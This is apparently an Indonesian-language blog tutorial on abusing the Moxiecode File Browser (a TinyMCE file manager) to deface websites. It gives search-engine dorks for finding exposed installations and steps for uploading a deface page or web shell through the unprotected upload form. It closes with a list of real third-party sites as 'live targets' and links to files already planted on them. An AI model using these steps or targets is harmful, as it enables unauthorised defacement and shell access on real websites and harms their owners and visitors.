Moxiecode File Browser Vulnerability

Assalamulaikum semuanya , sehat ? alhamdulillah . . semoga sehat sehat saja ya sobat IT ^_^.
Okeh seperti biasa saya akan share tutorial mengenai exploit exploitan nih ,, hehe
kali ini saya akan share mengenai "Moxiecode File Browser Vulnerability" sebelumnya saya ucapkan terima kasih kepada nick "Saya Nazar kakz" kalo gak salah :3 hehe maaf lupa .
Okeh langsung saja yu tak usah lama lama cekibrot >>
Pertama kita seperti biasa akan gunakan dork search engine google / bing
+++++++++++++++++++++++++++++
#Dork Google :
inurl:/filemanager/frameset.php intitle:Moxiecode File browser -github

intitle:Moxiecode File browser filetype:php
++++++++++++++++++++++++++++++

#Dork Bing :

Moxiecode File Browser

++++++++++++++++++++++++++++++

Silahkan kembangkan kembali dork nya sob ^_^ hehe ..

Langsung saja gunakan dork andalah sobat ,, nanti akan muncul beberapa link yang sekiranya vuln , pilih yang mana saja ^_^

Jika vuln penampakannya seperti ini ^_^ :

Pilih file deface andalan agan yang akan diupload , lalu klik tombol uploadnya jika vuln maka bisa diklik jika tidak berarti tidak bisa diklik ,, penampakan diatas itu setelah diklik tombol upload.

Tunggu hingga proses penguploadan selesai .
Jika beruntung kamu dapat upload shell ^_^.

Jika ingin melihat hasilnya ,, inspect element pada file kamu

perhatikan :

Copy direktori file kamu yang ada discript ,, lalu coba buka filenya ^_^.

Nah cukup mudah bukan ? ^_^

Yah mungkin hanya itu yang dapat saya sampaikan ,, mohon maaf bila ada kesalahan , terimakasih wassalamualaikum .

Live target :
http://learningcenter.wika.co.id/filemanager/frameset.php?a=b&js=mcFileManager.insertFileToForm&initial_path=mce_clear&initial_rootpath=mce_clear&remember=true
http://www.icnievo.it/js/filemanager/frameset.php?a=b&js=mcFileManager.insertFileToTinyMCE&initial_path=mce_clear&initial_rootpath=mce_clear&remember=true
Contoh hasil :
http://learningcenter.wika.co.id/FILES/indonesia.html
http://www.icnievo.it//public/x.txt